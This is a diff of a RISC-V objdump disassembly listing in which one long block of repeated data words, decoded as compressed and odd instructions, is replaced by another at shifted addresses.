-     466:	a000                	fsd	fs0,0(s0)
-     468:	008c                	addi	a1,sp,64
-     46a:	0500                	addi	s0,sp,640
-     46c:	9f00                	0x9f00
-     46e:	0088                	addi	a0,sp,64
-     470:	0500                	addi	s0,sp,640
-     472:	a400                	fsd	fs0,8(s0)
-     474:	005e                	c.slli	zero,0x17
-     476:	0500                	addi	s0,sp,640
-     478:	de00                	sw	s0,56(a2)
-     47a:	0048                	addi	a0,sp,4
-     47c:	0500                	addi	s0,sp,640
-     47e:	c900                	sw	s0,16(a0)
-     480:	0080                	addi	s0,sp,64
-     482:	0500                	addi	s0,sp,640
-     484:	bf00                	fsd	fs0,56(a4)
-     486:	0041                	c.nop	16
-     488:	0500                	addi	s0,sp,640
-     48a:	f400                	fsw	fs0,40(s0)
-     48c:	0500001b          	0x500001b
-     490:	8e00                	0x8e00
-     492:	0500000f          	fence	ow,unknown
-     496:	4f00                	lw	s0,24(a4)
-     498:	0071                	c.nop	28
-     49a:	0500                	addi	s0,sp,640
-     49c:	a800                	fsd	fs0,16(s0)
-     49e:	004e                	c.slli	zero,0x13
-     4a0:	0500                	addi	s0,sp,640
-     4a2:	2500                	fld	fs0,8(a0)
-     4a4:	05000033          	0x5000033
-     4a8:	ed00                	fsw	fs0,24(a0)
-     4aa:	009c                	addi	a5,sp,64
-     4ac:	0500                	addi	s0,sp,640
-     4ae:	f000                	fsw	fs0,32(s0)
-     4b0:	004a                	c.slli	zero,0x12
-     4b2:	0500                	addi	s0,sp,640
-     4b4:	9400                	0x9400
-     4b6:	0500003b          	0x500003b
-     4ba:	3300                	fld	fs0,32(a4)
-     4bc:	000d                	c.nop	3
-     4be:	0500                	addi	s0,sp,640
-     4c0:	c700                	sw	s0,8(a4)
-     4c2:	004a                	c.slli	zero,0x12
-     4c4:	0500                	addi	s0,sp,640
-     4c6:	9200                	0x9200
-     4c8:	0030                	addi	a2,sp,8
-     4ca:	0500                	addi	s0,sp,640
-     4cc:	2e00                	fld	fs0,24(a2)
-     4ce:	0069                	c.nop	26
-     4d0:	0500                	addi	s0,sp,640
-     4d2:	8800                	0x8800
-     4d4:	0068                	addi	a0,sp,12
-     4d6:	0500                	addi	s0,sp,640
-     4d8:	eb00                	fsw	fs0,16(a4)
-     4da:	0009                	c.nop	2
-     4dc:	0500                	addi	s0,sp,640
-     4de:	1700                	addi	s0,sp,928
-     4e0:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
-     4e4:	4f00                	lw	s0,24(a4)
-     4e6:	004c                	addi	a1,sp,4
-     4e8:	0500                	addi	s0,sp,640
-     4ea:	5600                	lw	s0,40(a2)
-     4ec:	0004                	0x4
-     4ee:	0500                	addi	s0,sp,640
-     4f0:	2c00                	fld	fs0,24(s0)
-     4f2:	0056                	c.slli	zero,0x15
-     4f4:	0500                	addi	s0,sp,640
-     4f6:	1e00                	addi	s0,sp,816
-     4f8:	0041                	c.nop	16
-     4fa:	0500                	addi	s0,sp,640
-     4fc:	9b00                	0x9b00
-     4fe:	0008                	0x8
-     500:	0500                	addi	s0,sp,640
-     502:	cf00                	sw	s0,24(a4)
-     504:	0034                	addi	a3,sp,8
-     506:	0500                	addi	s0,sp,640
-     508:	1f00                	addi	s0,sp,944
-     50a:	007c                	addi	a5,sp,12
-     50c:	0500                	addi	s0,sp,640
-     50e:	3a00                	fld	fs0,48(a2)
-     510:	0500006b          	0x500006b
-     514:	3100                	fld	fs0,32(a0)
-     516:	0062                	c.slli	zero,0x18
-     518:	0500                	addi	s0,sp,640
-     51a:	ce00                	sw	s0,24(a2)
-     51c:	0042                	c.slli	zero,0x10
-     51e:	0500                	addi	s0,sp,640
-     520:	6700                	flw	fs0,8(a4)
-     522:	0022                	c.slli	zero,0x8
-     524:	0500                	addi	s0,sp,640
-     526:	ba00                	fsd	fs0,48(a2)
-     528:	05000027          	0x5000027
-     52c:	3a00                	fld	fs0,48(a2)
-     52e:	0500007b          	0x500007b
-     532:	7200                	flw	fs0,32(a2)
-     534:	004e                	c.slli	zero,0x13
-     536:	0500                	addi	s0,sp,640
-     538:	c300                	sw	s0,0(a4)
-     53a:	0032                	c.slli	zero,0xc
-     53c:	0500                	addi	s0,sp,640
-     53e:	4e00                	lw	s0,24(a2)
-     540:	005f 0500 c900      	0xc9000500005f
-     546:	05000043          	0x5000043
-     54a:	a600                	fsd	fs0,8(a2)
-     54c:	0078                	addi	a4,sp,12
-     54e:	0500                	addi	s0,sp,640
-     550:	8000                	0x8000
-     552:	0071                	c.nop	28
-     554:	0500                	addi	s0,sp,640
-     556:	8800                	0x8800
-     558:	0500006f          	j	5a8 <__stack_size-0x258>
-     55c:	7300                	flw	fs0,32(a4)
-     55e:	004c                	addi	a1,sp,4
-     560:	0500                	addi	s0,sp,640
-     562:	9200                	0x9200
-     564:	002d                	c.nop	11
-     566:	0500                	addi	s0,sp,640
-     568:	7000                	flw	fs0,32(s0)
-     56a:	0011                	c.nop	4
-     56c:	0500                	addi	s0,sp,640
-     56e:	dc00                	sw	s0,56(s0)
-     570:	005f 0500 2000      	0x20000500005f
-     576:	0085                	addi	ra,ra,1
-     578:	0500                	addi	s0,sp,640
-     57a:	eb00                	fsw	fs0,16(a4)
-     57c:	05000093          	li	ra,80
-     580:	e500                	fsw	fs0,8(a0)
-     582:	00a0                	addi	s0,sp,72
-     584:	0500                	addi	s0,sp,640
-     586:	e200                	fsw	fs0,0(a2)
-     588:	0500000f          	fence	ow,unknown
-     58c:	be00                	fsd	fs0,56(a2)
-     58e:	0030                	addi	a2,sp,8
-     590:	0500                	addi	s0,sp,640
-     592:	9500                	0x9500
-     594:	0019                	c.nop	6
-     596:	0500                	addi	s0,sp,640
-     598:	a700                	fsd	fs0,8(a4)
-     59a:	0048                	addi	a0,sp,4
-     59c:	0500                	addi	s0,sp,640
-     59e:	6500                	flw	fs0,8(a0)
-     5a0:	0015                	c.nop	5
-     5a2:	0500                	addi	s0,sp,640
-     5a4:	fb00                	fsw	fs0,48(a4)
-     5a6:	05000083          	lb	ra,80(zero) # 50 <__stack_size-0x7b0>
-     5aa:	3300                	fld	fs0,32(a4)
-     5ac:	0036                	c.slli	zero,0xd
-     5ae:	0500                	addi	s0,sp,640
-     5b0:	8500                	0x8500
-     5b2:	004c                	addi	a1,sp,4
-     5b4:	0500                	addi	s0,sp,640
-     5b6:	9600                	0x9600
-     5b8:	05000053          	0x5000053
-     5bc:	4100                	lw	s0,0(a0)
-     5be:	0049                	c.nop	18
-     5c0:	0500                	addi	s0,sp,640
-     5c2:	5800                	lw	s0,48(s0)
-     5c4:	0042                	c.slli	zero,0x10
-     5c6:	0500                	addi	s0,sp,640
-     5c8:	9900                	0x9900
-     5ca:	0075                	c.nop	29
-     5cc:	0500                	addi	s0,sp,640
-     5ce:	2400                	fld	fs0,8(s0)
-     5d0:	0044                	addi	s1,sp,4
-     5d2:	0500                	addi	s0,sp,640
-     5d4:	8300                	0x8300
-     5d6:	008d                	addi	ra,ra,3
-     5d8:	0500                	addi	s0,sp,640
-     5da:	ad00                	fsd	fs0,24(a0)
-     5dc:	0024                	addi	s1,sp,8
-     5de:	0500                	addi	s0,sp,640
-     5e0:	9e00                	0x9e00
-     5e2:	05000027          	0x5000027
-     5e6:	1700                	addi	s0,sp,928
-     5e8:	0012                	c.slli	zero,0x4
-     5ea:	0500                	addi	s0,sp,640
-     5ec:	9200                	0x9200
-     5ee:	0070                	addi	a2,sp,12
-     5f0:	0500                	addi	s0,sp,640
-     5f2:	b800                	fsd	fs0,48(s0)
-     5f4:	0042                	c.slli	zero,0x10
-     5f6:	0500                	addi	s0,sp,640
-     5f8:	2d00                	fld	fs0,24(a0)
-     5fa:	0029                	c.nop	10
-     5fc:	0500                	addi	s0,sp,640
-     5fe:	4100                	lw	s0,0(a0)
-     600:	0031                	c.nop	12
-     602:	0500                	addi	s0,sp,640
-     604:	1700                	addi	s0,sp,928
-     606:	0020                	addi	s0,sp,8
-     608:	0500                	addi	s0,sp,640
-     60a:	7800                	flw	fs0,48(s0)
-     60c:	003c                	addi	a5,sp,8
-     60e:	0500                	addi	s0,sp,640
-     610:	6b00                	flw	fs0,16(a4)
-     612:	0002                	c.slli64	zero
-     614:	0500                	addi	s0,sp,640
-     616:	3100                	fld	fs0,32(a0)
-     618:	0009                	c.nop	2
-     61a:	0500                	addi	s0,sp,640
-     61c:	a400                	fsd	fs0,8(s0)
-     61e:	0076                	c.slli	zero,0x1d
-     620:	0500                	addi	s0,sp,640
-     622:	a700                	fsd	fs0,8(a4)
-     624:	0041                	c.nop	16
-     626:	0500                	addi	s0,sp,640
-     628:	3800                	fld	fs0,48(s0)
-     62a:	0500000f          	fence	ow,unknown
-     62e:	c700                	sw	s0,8(a4)
-     630:	003a                	c.slli	zero,0xe
-     632:	0500                	addi	s0,sp,640
-     634:	8800                	0x8800
-     636:	0050                	addi	a2,sp,4
-     638:	0500                	addi	s0,sp,640
-     63a:	8800                	0x8800
-     63c:	004e                	c.slli	zero,0x13
-     63e:	0500                	addi	s0,sp,640
-     640:	3f00                	fld	fs0,56(a4)
-     642:	0079                	c.nop	30
-     644:	0500                	addi	s0,sp,640
-     646:	2000                	fld	fs0,0(s0)
-     648:	009f 0500 b000      	0xb0000500009f
-     64e:	0059                	c.nop	22
-     650:	0500                	addi	s0,sp,640
-     652:	8900                	0x8900
-     654:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
-     658:	a000                	fsd	fs0,0(s0)
-     65a:	05000087          	0x5000087
-     65e:	5a00                	lw	s0,48(a2)
-     660:	0046                	c.slli	zero,0x11
-     662:	0500                	addi	s0,sp,640
-     664:	0c00                	addi	s0,sp,528
-     666:	001e                	c.slli	zero,0x7
-     668:	0500                	addi	s0,sp,640
-     66a:	d600                	sw	s0,40(a2)
-     66c:	0500004b          	0x500004b
-     670:	9a00                	0x9a00
-     672:	0032                	c.slli	zero,0xc
-     674:	0500                	addi	s0,sp,640
-     676:	5500                	lw	s0,40(a0)
-     678:	0096                	slli	ra,ra,0x5
-     67a:	0500                	addi	s0,sp,640
-     67c:	3900                	fld	fs0,48(a0)
-     67e:	05000033          	0x5000033
-     682:	c300                	sw	s0,0(a4)
-     684:	002d                	c.nop	11
-     686:	0500                	addi	s0,sp,640
-     688:	3200                	fld	fs0,32(a2)
-     68a:	05000027          	0x5000027
-     68e:	e700                	fsw	fs0,8(a4)
-     690:	0030                	addi	a2,sp,8
-     692:	0500                	addi	s0,sp,640
-     694:	aa00                	fsd	fs0,16(a2)
-     696:	0021                	c.nop	8
-     698:	0500                	addi	s0,sp,640
-     69a:	cf00                	sw	s0,24(a4)
-     69c:	001a                	c.slli	zero,0x6
-     69e:	0500                	addi	s0,sp,640
-     6a0:	dd00                	sw	s0,56(a0)
-     6a2:	0076                	c.slli	zero,0x1d
+     2c2:	00002813          	slti	a6,zero,0
+     2c6:	0304                	addi	s1,sp,384
+     2c8:	080d                	addi	a6,a6,3
+     2ca:	0205                	addi	tp,tp,1
+     2cc:	3aca                	fld	fs5,176(sp)
+     2ce:	0000                	unimp
+     2d0:	05040903          	lb	s2,80(s0)
+     2d4:	d602                	sw	zero,44(sp)
+     2d6:	0050                	addi	a2,sp,4
+     2d8:	0300                	addi	s0,sp,384
+     2da:	1405                	addi	s0,s0,-31
+     2dc:	0704                	addi	s1,sp,896
+     2de:	00002933          	sltz	s2,zero
+     2e2:	0504                	addi	s1,sp,640
+     2e4:	001cb50b          	0x1cb50b
+     2e8:	0400                	addi	s0,sp,512
+     2ea:	0f05                	addi	t5,t5,1
+     2ec:	0000269b          	0x269b
+     2f0:	4505                	li	a0,1
+     2f2:	00005b73          	csrrwi	s6,ustatus,0
+     2f6:	5f05                	li	t5,-31
+     2f8:	2112                	fld	ft2,256(sp)
+     2fa:	0000                	unimp
+     2fc:	0004                	0x4
+     2fe:	0004                	0x4
+     300:	0500                	addi	s0,sp,640
+     302:	2200                	fld	fs0,0(a2)
+     304:	0005                	c.nop	1
+     306:	0500                	addi	s0,sp,640
+     308:	8200                	0x8200
+     30a:	0075                	c.nop	29
+     30c:	0500                	addi	s0,sp,640
+     30e:	f700                	fsw	fs0,40(a4)
+     310:	009e                	slli	ra,ra,0x7
+     312:	0500                	addi	s0,sp,640
+     314:	ba00                	fsd	fs0,48(a2)
+     316:	0014                	0x14
+     318:	0500                	addi	s0,sp,640
+     31a:	3200                	fld	fs0,32(a2)
+     31c:	0060                	addi	s0,sp,12
+     31e:	0500                	addi	s0,sp,640
+     320:	db00                	sw	s0,48(a4)
+     322:	0049                	c.nop	18
+     324:	0500                	addi	s0,sp,640
+     326:	e600                	fsw	fs0,8(a2)
+     328:	009e                	slli	ra,ra,0x7
+     32a:	0500                	addi	s0,sp,640
+     32c:	b800                	fsd	fs0,48(s0)
+     32e:	00a1                	addi	ra,ra,8
+     330:	0500                	addi	s0,sp,640
+     332:	7f00                	flw	fs0,56(a4)
+     334:	006e                	c.slli	zero,0x1b
+     336:	0500                	addi	s0,sp,640
+     338:	d400                	sw	s0,40(s0)
+     33a:	0045                	c.nop	17
+     33c:	0500                	addi	s0,sp,640
+     33e:	7100                	flw	fs0,32(a0)
+     340:	001a                	c.slli	zero,0x6
+     342:	0500                	addi	s0,sp,640
+     344:	6b00                	flw	fs0,16(a4)
+     346:	0042                	c.slli	zero,0x10
+     348:	0500                	addi	s0,sp,640
+     34a:	ea00                	fsw	fs0,16(a2)
+     34c:	0092                	slli	ra,ra,0x4
+     34e:	0500                	addi	s0,sp,640
+     350:	b500                	fsd	fs0,40(a0)
+     352:	007e                	c.slli	zero,0x1f
+     354:	0500                	addi	s0,sp,640
+     356:	eb00                	fsw	fs0,16(a4)
+     358:	0088                	addi	a0,sp,64
+     35a:	0500                	addi	s0,sp,640
+     35c:	1700                	addi	s0,sp,928
+     35e:	007e                	c.slli	zero,0x1f
+     360:	0500                	addi	s0,sp,640
+     362:	cf00                	sw	s0,24(a4)
+     364:	007c                	addi	a5,sp,12
+     366:	0500                	addi	s0,sp,640
+     368:	ca00                	sw	s0,16(a2)
+     36a:	0074                	addi	a3,sp,12
+     36c:	0500                	addi	s0,sp,640
+     36e:	fc00                	fsw	fs0,56(s0)
+     370:	005c                	addi	a5,sp,4
+     372:	0500                	addi	s0,sp,640
+     374:	6500                	flw	fs0,8(a0)
+     376:	05000007          	0x5000007
+     37a:	cb00                	sw	s0,16(a4)
+     37c:	0500002b          	0x500002b
+     380:	0000                	unimp
+     382:	0085                	addi	ra,ra,1
+     384:	0500                	addi	s0,sp,640
+     386:	7e00                	flw	fs0,56(a2)
+     388:	009a                	slli	ra,ra,0x6
+     38a:	0500                	addi	s0,sp,640
+     38c:	a400                	fsd	fs0,8(s0)
+     38e:	0079                	c.nop	30
+     390:	0500                	addi	s0,sp,640
+     392:	8600                	0x8600
+     394:	0020                	addi	s0,sp,8
+     396:	0500                	addi	s0,sp,640
+     398:	3900                	fld	fs0,48(a0)
+     39a:	0029                	c.nop	10
+     39c:	0500                	addi	s0,sp,640
+     39e:	c600                	sw	s0,8(a2)
+     3a0:	05000057          	0x5000057
+     3a4:	eb00                	fsw	fs0,16(a4)
+     3a6:	0010                	0x10
+     3a8:	0500                	addi	s0,sp,640
+     3aa:	1d00                	addi	s0,sp,688
+     3ac:	05000027          	0x5000027
+     3b0:	5900                	lw	s0,48(a0)
+     3b2:	0071                	c.nop	28
+     3b4:	0500                	addi	s0,sp,640
+     3b6:	5100                	lw	s0,32(a0)
+     3b8:	0042                	c.slli	zero,0x10
+     3ba:	0500                	addi	s0,sp,640
+     3bc:	0e00                	addi	s0,sp,784
+     3be:	0032                	c.slli	zero,0xc
+     3c0:	0500                	addi	s0,sp,640
+     3c2:	d300                	sw	s0,32(a4)
+     3c4:	0000                	unimp
+     3c6:	0500                	addi	s0,sp,640
+     3c8:	4a00                	lw	s0,16(a2)
+     3ca:	0066                	c.slli	zero,0x19
+     3cc:	0500                	addi	s0,sp,640
+     3ce:	a200                	fsd	fs0,0(a2)
+     3d0:	009a                	slli	ra,ra,0x6
+     3d2:	0500                	addi	s0,sp,640
+     3d4:	9b00                	0x9b00
+     3d6:	0061                	c.nop	24
+     3d8:	0500                	addi	s0,sp,640
+     3da:	a000                	fsd	fs0,0(s0)
+     3dc:	0004                	0x4
+     3de:	0500                	addi	s0,sp,640
+     3e0:	cd00                	sw	s0,24(a0)
+     3e2:	002d                	c.nop	11
+     3e4:	0500                	addi	s0,sp,640
+     3e6:	e000                	fsw	fs0,0(s0)
+     3e8:	05000057          	0x5000057
+     3ec:	7600                	flw	fs0,40(a2)
+     3ee:	0014                	0x14
+     3f0:	0500                	addi	s0,sp,640
+     3f2:	e700                	fsw	fs0,8(a4)
+     3f4:	0500009b          	0x500009b
+     3f8:	bd00                	fsd	fs0,56(a0)
+     3fa:	0065                	c.nop	25
+     3fc:	0500                	addi	s0,sp,640
+     3fe:	a500                	fsd	fs0,8(a0)
+     400:	0010                	0x10
+     402:	0500                	addi	s0,sp,640
+     404:	5f00                	lw	s0,56(a4)
+     406:	007f                	0x7f
+     408:	0500                	addi	s0,sp,640
+     40a:	1300                	addi	s0,sp,416
+     40c:	0038                	addi	a4,sp,8
+     40e:	0500                	addi	s0,sp,640
+     410:	7500                	flw	fs0,40(a0)
+     412:	0051                	c.nop	20
+     414:	0500                	addi	s0,sp,640
+     416:	a700                	fsd	fs0,8(a4)
+     418:	0090                	addi	a2,sp,64
+     41a:	0500                	addi	s0,sp,640
+     41c:	9100                	0x9100
+     41e:	05000013          	li	zero,80
+     422:	8100                	0x8100
+     424:	0015                	c.nop	5
+     426:	0500                	addi	s0,sp,640
+     428:	1100                	addi	s0,sp,160
+     42a:	0025                	c.nop	9
+     42c:	0500                	addi	s0,sp,640
+     42e:	0700                	addi	s0,sp,896
+     430:	0006                	c.slli	zero,0x1
+     432:	0500                	addi	s0,sp,640
+     434:	4e00                	lw	s0,24(a2)
+     436:	004c                	addi	a1,sp,4
+     438:	0500                	addi	s0,sp,640
+     43a:	2300                	fld	fs0,0(a4)
+     43c:	0089                	addi	ra,ra,2
+     43e:	0500                	addi	s0,sp,640
+     440:	a000                	fsd	fs0,0(s0)
+     442:	00a0                	addi	s0,sp,72
+     444:	0500                	addi	s0,sp,640
+     446:	c500                	sw	s0,8(a0)
+     448:	0011                	c.nop	4
+     44a:	0500                	addi	s0,sp,640
+     44c:	1100                	addi	s0,sp,160
+     44e:	0500009b          	0x500009b
+     452:	3b00                	fld	fs0,48(a4)
+     454:	009f 0500 5300      	0x53000500009f
+     45a:	008d                	addi	ra,ra,3
+     45c:	0500                	addi	s0,sp,640
+     45e:	4200                	lw	s0,0(a2)
+     460:	0089                	addi	ra,ra,2
+     462:	0500                	addi	s0,sp,640
+     464:	b000                	fsd	fs0,32(s0)
+     466:	005f 0500 1d00      	0x1d000500005f
+     46c:	004a                	c.slli	zero,0x12
+     46e:	0500                	addi	s0,sp,640
+     470:	4c00                	lw	s0,24(s0)
+     472:	0081                	addi	ra,ra,0
+     474:	0500                	addi	s0,sp,640
+     476:	be00                	fsd	fs0,56(a2)
+     478:	0042                	c.slli	zero,0x10
+     47a:	0500                	addi	s0,sp,640
+     47c:	2d00                	fld	fs0,24(a0)
+     47e:	0500001b          	0x500001b
+     482:	4600                	lw	s0,8(a2)
+     484:	0500000f          	fence	ow,unknown
+     488:	d000                	sw	s0,32(s0)
+     48a:	0071                	c.nop	28
+     48c:	0500                	addi	s0,sp,640
+     48e:	a500                	fsd	fs0,8(a0)
+     490:	0500004f          	0x500004f
+     494:	9200                	0x9200
+     496:	0008                	0x8
+     498:	0500                	addi	s0,sp,640
+     49a:	6a00                	flw	fs0,16(a2)
+     49c:	009d                	addi	ra,ra,7
+     49e:	0500                	addi	s0,sp,640
+     4a0:	3700                	fld	fs0,40(a4)
+     4a2:	004c                	addi	a1,sp,4
+     4a4:	0500                	addi	s0,sp,640
+     4a6:	a100                	fsd	fs0,0(a0)
+     4a8:	003c                	addi	a5,sp,8
+     4aa:	0500                	addi	s0,sp,640
+     4ac:	d800                	sw	s0,48(s0)
+     4ae:	000c                	0xc
+     4b0:	0500                	addi	s0,sp,640
+     4b2:	0e00                	addi	s0,sp,784
+     4b4:	004c                	addi	a1,sp,4
+     4b6:	0500                	addi	s0,sp,640
+     4b8:	8600                	0x8600
+     4ba:	0031                	c.nop	12
+     4bc:	0500                	addi	s0,sp,640
+     4be:	db00                	sw	s0,48(a4)
+     4c0:	0069                	c.nop	26
+     4c2:	0500                	addi	s0,sp,640
+     4c4:	4500                	lw	s0,8(a0)
+     4c6:	0069                	c.nop	26
+     4c8:	0500                	addi	s0,sp,640
+     4ca:	ef00                	fsw	fs0,24(a4)
+     4cc:	0022                	c.slli	zero,0x8
+     4ce:	0500                	addi	s0,sp,640
+     4d0:	c800                	sw	s0,16(s0)
+     4d2:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
+     4d6:	8e00                	0x8e00
+     4d8:	004d                	c.nop	19
+     4da:	0500                	addi	s0,sp,640
+     4dc:	e600                	fsw	fs0,8(a2)
+     4de:	05000003          	lb	zero,80(zero) # 50 <__stack_size-0x7b0>
+     4e2:	5a00                	lw	s0,48(a2)
+     4e4:	05000057          	0x5000057
+     4e8:	2900                	fld	fs0,16(a0)
+     4ea:	0042                	c.slli	zero,0x10
+     4ec:	0500                	addi	s0,sp,640
+     4ee:	5000                	lw	s0,32(s0)
+     4f0:	0008                	0x8
+     4f2:	0500                	addi	s0,sp,640
+     4f4:	a000                	fsd	fs0,0(s0)
+     4f6:	0035                	c.nop	13
+     4f8:	0500                	addi	s0,sp,640
+     4fa:	9200                	0x9200
+     4fc:	007c                	addi	a5,sp,12
+     4fe:	0500                	addi	s0,sp,640
+     500:	dc00                	sw	s0,56(s0)
+     502:	0500006b          	0x500006b
+     506:	fc00                	fsw	fs0,56(s0)
+     508:	0062                	c.slli	zero,0x18
+     50a:	0500                	addi	s0,sp,640
+     50c:	cd00                	sw	s0,24(a0)
+     50e:	05000043          	0x5000043
+     512:	1200                	addi	s0,sp,288
+     514:	05000023          	sb	a6,64(zero) # 40 <__stack_size-0x7c0>
+     518:	7e00                	flw	fs0,56(a2)
+     51a:	0028                	addi	a0,sp,8
+     51c:	0500                	addi	s0,sp,640
+     51e:	b300                	fsd	fs0,32(a4)
+     520:	0500007b          	0x500007b
+     524:	6f00                	flw	fs0,24(a4)
+     526:	0500004f          	0x500004f
+     52a:	be00                	fsd	fs0,56(a2)
+     52c:	05000033          	0x5000033
+     530:	5a00                	lw	s0,48(a2)
+     532:	0060                	addi	s0,sp,12
+     534:	0500                	addi	s0,sp,640
+     536:	c800                	sw	s0,16(s0)
+     538:	0044                	addi	s1,sp,4
+     53a:	0500                	addi	s0,sp,640
+     53c:	d900                	sw	s0,48(a0)
+     53e:	0002                	c.slli64	zero
+     540:	0500                	addi	s0,sp,640
+     542:	0100                	addi	s0,sp,128
+     544:	0072                	c.slli	zero,0x1c
+     546:	0500                	addi	s0,sp,640
+     548:	2100                	fld	fs0,0(a0)
+     54a:	0070                	addi	a2,sp,12
+     54c:	0500                	addi	s0,sp,640
+     54e:	b200                	fsd	fs0,32(a2)
+     550:	004d                	c.nop	19
+     552:	0500                	addi	s0,sp,640
+     554:	3c00                	fld	fs0,56(s0)
+     556:	003d                	c.nop	15
+     558:	0500                	addi	s0,sp,640
+     55a:	0400                	addi	s0,sp,512
+     55c:	0011                	c.nop	4
+     55e:	0500                	addi	s0,sp,640
+     560:	d900                	sw	s0,48(a0)
+     562:	0060                	addi	s0,sp,12
+     564:	0500                	addi	s0,sp,640
+     566:	9c00                	0x9c00
+     568:	0085                	addi	ra,ra,1
+     56a:	0500                	addi	s0,sp,640
+     56c:	8500                	0x8500
+     56e:	0094                	addi	a3,sp,64
+     570:	0500                	addi	s0,sp,640
+     572:	fe00                	fsw	fs0,56(a2)
+     574:	00a0                	addi	s0,sp,72
+     576:	0500                	addi	s0,sp,640
+     578:	9700                	0x9700
+     57a:	0500000f          	fence	ow,unknown
+     57e:	b200                	fsd	fs0,32(a2)
+     580:	0031                	c.nop	12
+     582:	0500                	addi	s0,sp,640
+     584:	e400                	fsw	fs0,8(s0)
+     586:	0018                	0x18
+     588:	0500                	addi	s0,sp,640
+     58a:	c400                	sw	s0,8(s0)
+     58c:	0049                	c.nop	18
+     58e:	0500                	addi	s0,sp,640
+     590:	cc00                	sw	s0,24(s0)
+     592:	0014                	0x14
+     594:	0500                	addi	s0,sp,640
+     596:	8100                	0x8100
+     598:	0084                	addi	s1,sp,64
+     59a:	0500                	addi	s0,sp,640
+     59c:	a500                	fsd	fs0,8(a0)
+     59e:	0500000b          	0x500000b
+     5a2:	d100                	sw	s0,32(a0)
+     5a4:	004d                	c.nop	19
+     5a6:	0500                	addi	s0,sp,640
+     5a8:	ed00                	fsw	fs0,24(a0)
+     5aa:	0054                	addi	a3,sp,4
+     5ac:	0500                	addi	s0,sp,640
+     5ae:	8000                	0x8000
+     5b0:	004a                	c.slli	zero,0x12
+     5b2:	0500                	addi	s0,sp,640
+     5b4:	5700                	lw	s0,40(a4)
+     5b6:	05000043          	0x5000043
+     5ba:	3400                	fld	fs0,40(s0)
+     5bc:	0076                	c.slli	zero,0x1d
+     5be:	0500                	addi	s0,sp,640
+     5c0:	2c00                	fld	fs0,24(s0)
+     5c2:	0045                	c.nop	17
+     5c4:	0500                	addi	s0,sp,640
+     5c6:	3600                	fld	fs0,40(a2)
+     5c8:	008e                	slli	ra,ra,0x3
+     5ca:	0500                	addi	s0,sp,640
+     5cc:	6600                	flw	fs0,8(a2)
+     5ce:	0025                	c.nop	9
+     5d0:	0500                	addi	s0,sp,640
+     5d2:	6200                	flw	fs0,0(a2)
+     5d4:	0028                	addi	a0,sp,8
+     5d6:	0500                	addi	s0,sp,640
+     5d8:	ab00                	fsd	fs0,16(a4)
+     5da:	0011                	c.nop	4
+     5dc:	0500                	addi	s0,sp,640
+     5de:	1300                	addi	s0,sp,416
+     5e0:	0071                	c.nop	28
+     5e2:	0500                	addi	s0,sp,640
+     5e4:	b700                	fsd	fs0,40(a4)
+     5e6:	05000043          	0x5000043
+     5ea:	f100                	fsw	fs0,32(a0)
+     5ec:	0029                	c.nop	10
+     5ee:	0500                	addi	s0,sp,640
+     5f0:	3500                	fld	fs0,40(a0)
+     5f2:	0032                	c.slli	zero,0xc
+     5f4:	0500                	addi	s0,sp,640
+     5f6:	4d00                	lw	s0,24(a0)
+     5f8:	0020                	addi	s0,sp,8
+     5fa:	0500                	addi	s0,sp,640
+     5fc:	1500                	addi	s0,sp,672
+     5fe:	007d                	c.nop	31
+     600:	0500                	addi	s0,sp,640
+     602:	3600                	fld	fs0,40(a2)
+     604:	0002                	c.slli64	zero
+     606:	0500                	addi	s0,sp,640
+     608:	dd00                	sw	s0,56(a0)
+     60a:	0008                	0x8
+     60c:	0500                	addi	s0,sp,640
+     60e:	5100                	lw	s0,32(a0)
+     610:	05000077          	0x5000077
+     614:	a600                	fsd	fs0,8(a2)
+     616:	0042                	c.slli	zero,0x10
+     618:	0500                	addi	s0,sp,640
+     61a:	f000                	fsw	fs0,32(s0)
+     61c:	000e                	c.slli	zero,0x3
+     61e:	0500                	addi	s0,sp,640
+     620:	dd00                	sw	s0,56(a0)
+     622:	0500003b          	0x500003b
+     626:	b000                	fsd	fs0,32(s0)
+     628:	0051                	c.nop	20
+     62a:	0500                	addi	s0,sp,640
+     62c:	8500                	0x8500
+     62e:	0500004f          	0x500004f
+     632:	b800                	fsd	fs0,48(s0)
+     634:	0079                	c.nop	30
+     636:	0500                	addi	s0,sp,640
+     638:	7a00                	flw	fs0,48(a2)
+     63a:	0006                	c.slli	zero,0x1
+     63c:	0500                	addi	s0,sp,640
+     63e:	cc00                	sw	s0,24(s0)
+     640:	005a                	c.slli	zero,0x16
+     642:	0500                	addi	s0,sp,640
+     644:	f900                	fsw	fs0,48(a0)
+     646:	05000067          	jr	80(zero) # 0 <__stack_size-0x800>
+     64a:	4300                	lw	s0,0(a4)
+     64c:	0088                	addi	a0,sp,64
+     64e:	0500                	addi	s0,sp,640
+     650:	6700                	flw	fs0,8(a4)
+     652:	05000047          	0x5000047
+     656:	2d00                	fld	fs0,24(a0)
+     658:	001e                	c.slli	zero,0x7
+     65a:	0500                	addi	s0,sp,640
+     65c:	1500                	addi	s0,sp,672
+     65e:	004d                	c.nop	19
+     660:	0500                	addi	s0,sp,640
+     662:	9d00                	0x9d00
+     664:	05000033          	0x5000033
+     668:	0400                	addi	s0,sp,512
+     66a:	05000097          	auipc	ra,0x5000
+     66e:	2200                	fld	fs0,0(a2)
+     670:	0034                	addi	a3,sp,8
+     672:	0500                	addi	s0,sp,640
+     674:	b700                	fsd	fs0,40(a4)
+     676:	002e                	c.slli	zero,0xb
+     678:	0500                	addi	s0,sp,640
+     67a:	f600                	fsw	fs0,40(a2)
+     67c:	05000027          	0x5000027
+     680:	db00                	sw	s0,48(a4)
+     682:	0031                	c.nop	12
+     684:	0500                	addi	s0,sp,640
+     686:	3200                	fld	fs0,32(a2)
+     688:	0022                	c.slli	zero,0x8
+     68a:	0500                	addi	s0,sp,640
+     68c:	0500                	addi	s0,sp,640
+     68e:	001a                	c.slli	zero,0x6
+     690:	0500                	addi	s0,sp,640
+     692:	c300                	sw	s0,0(a4)
+     694:	0002                	c.slli64	zero
+     696:	0500                	addi	s0,sp,640
+     698:	9900                	0x9900
+     69a:	05000073          	0x5000073
+     69e:	a500                	fsd	fs0,8(a0)
+     6a0:	0500006b          	0x500006b
      6a4:	0500                	addi	s0,sp,640
-     6a6:	fe00                	fsw	fs0,56(a2)
-     6a8:	0072                	c.slli	zero,0x1c
-     6aa:	0500                	addi	s0,sp,640
-     6ac:	0300                	addi	s0,sp,384
